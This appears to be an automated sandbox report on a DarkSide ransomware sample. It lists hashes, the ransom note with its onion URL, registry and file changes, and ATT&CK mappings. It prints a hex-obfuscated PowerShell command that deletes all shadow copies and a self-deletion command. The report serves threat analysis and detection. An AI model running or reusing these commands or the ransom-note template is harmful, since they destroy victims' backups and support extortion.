darkside | 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e

General

Target

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Size

5.9MB
MD5

794c5aa1b0e1f9cf2fc7fe5f22117c3f
SHA1

1821fe210298b1d22b25f1a544abcfe092999ff7
SHA256

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
SHA512

28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf

Score

10^/10

darkside ransomware spyware stealer vmprotect

Malware Config

Extracted

Path

C:\\README.f2cbf9aa.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\EnterTest.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\ExpandSubmit.tif => C:\Users\Admin\Pictures\ExpandSubmit.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\ExpandSubmit.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\SelectLock.png => C:\Users\Admin\Pictures\SelectLock.png.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\SelectLock.png.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\UpdateDisable.tif => C:\Users\Admin\Pictures\UpdateDisable.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File opened for modification	C:\Users\Admin\Pictures\UpdateDisable.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
File renamed	C:\Users\Admin\Pictures\EnterTest.tif => C:\Users\Admin\Pictures\EnterTest.tif.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/1060-75-0x0000000000240000-0x0000000000BE8000-memory.dmp	vmprotect

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2768 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2768	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Modifies registry class 5 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico"	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exe

pid	process
1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
1556	powershell.exe
1556	powershell.exe
1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSecurityPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeTakeOwnershipPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeLoadDriverPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSystemProfilePrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSystemtimePrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeProfSingleProcessPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeIncBasePriorityPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeCreatePagefilePrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeBackupPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeRestorePrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeShutdownPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeDebugPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeSystemEnvironmentPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeRemoteShutdownPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeUndockPrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeManageVolumePrivilege	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: 33	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: 34	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: 35	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeBackupPrivilege	1784	vssvc.exe
Token: SeRestorePrivilege	1784	vssvc.exe
Token: SeAuditPrivilege	1784	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe

description	pid	process	target process
PID 1060 wrote to memory of 1556	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 1060 wrote to memory of 1556	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 1060 wrote to memory of 1556	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 1060 wrote to memory of 1556	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	powershell.exe
PID 1060 wrote to memory of 2768	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe
PID 1060 wrote to memory of 2768	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe
PID 1060 wrote to memory of 2768	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe
PID 1060 wrote to memory of 2768	1060	4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe
"C:\Users\Admin\AppData\Local\Temp\4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1556

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\4098B5~1.EXE >> NUL
2⤵
- Deletes itself
PID:2768

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1784

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
901746ed9dfab5c1d84b9fb413e72899

SHA1
9020bd2fdbce79aa9e3e5b8b8e26ae1e15437ec2

SHA256
6831bce606318535d4c1388d54b83687b0ebe3831d9ae98bf8ecb69983217b4f

SHA512
56b1b05183ae8ce8ef65749d42e161fab3e6da2e7bcab30acec064bb15d0b2b2ed7aab290c092e22c5f0a59b5ea78fc61bd7b3ad8496e16e697075dac8dd9532

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
6b0bab1d31c04afc3fa06e8389c8c62f

SHA1
88fef5af4957240df09f53ae771d4422d4acb759

SHA256
68ff3f8c831f854654d43612ec785a8257c80785f5ee6b15c5fa5278272d761c

SHA512
50d59c657970a9630c99b723bcbbbfceff125a41fa4174929583a0ff409d518ac8c0ebfb9c61deea63f9e8437c8a07ea48e376f6caab6e587a24caa85741610e

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memory/1060-63-0x0000000000130000-0x0000000000131000-memory.dmp

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4KB

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memory/1060-66-0x0000000000160000-0x0000000000161000-memory.dmp

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4KB

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memory/1060-61-0x0000000000110000-0x0000000000111000-memory.dmp

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4KB

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memory/1060-68-0x0000000000190000-0x0000000000191000-memory.dmp

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4KB

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memory/1060-74-0x00000000001F0000-0x00000000001F1000-memory.dmp

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4KB

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memory/1060-73-0x00000000001E0000-0x00000000001E1000-memory.dmp

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4KB

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memory/1060-76-0x00000000750C1000-0x00000000750C3000-memory.dmp

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8KB

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memory/1060-75-0x0000000000240000-0x0000000000BE8000-memory.dmp

Filesize
9.7MB

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memory/1060-72-0x00000000001D0000-0x00000000001D1000-memory.dmp

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4KB

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memory/1060-70-0x00000000001B0000-0x00000000001B1000-memory.dmp

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4KB

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memory/1060-65-0x0000000000150000-0x0000000000151000-memory.dmp

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4KB

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memory/1060-64-0x0000000000140000-0x0000000000141000-memory.dmp

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4KB

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memory/1060-69-0x00000000001A0000-0x00000000001A1000-memory.dmp

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4KB

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memory/1060-62-0x0000000000120000-0x0000000000121000-memory.dmp

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4KB

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memory/1060-67-0x0000000000180000-0x0000000000181000-memory.dmp

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4KB

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memory/1060-59-0x00000000000F0000-0x00000000000F1000-memory.dmp

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4KB

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memory/1060-71-0x00000000001C0000-0x00000000001C1000-memory.dmp

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4KB

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memory/1060-60-0x0000000000100000-0x0000000000101000-memory.dmp

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4KB

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memory/1556-80-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

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4KB

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memory/1556-81-0x000000001AD30000-0x000000001AD31000-memory.dmp

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4KB

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memory/1556-82-0x0000000002440000-0x0000000002441000-memory.dmp

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4KB

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memory/1556-79-0x000007FEFB701000-0x000007FEFB703000-memory.dmp

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8KB

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memory/1556-84-0x000000001B920000-0x000000001B921000-memory.dmp

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4KB

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memory/1556-85-0x00000000026C0000-0x00000000026C1000-memory.dmp

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4KB

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memory/1556-78-0x0000000000000000-mapping.dmp

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memory/1556-83-0x0000000002320000-0x0000000002321000-memory.dmp

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4KB

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memory/2768-88-0x0000000000000000-mapping.dmp

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Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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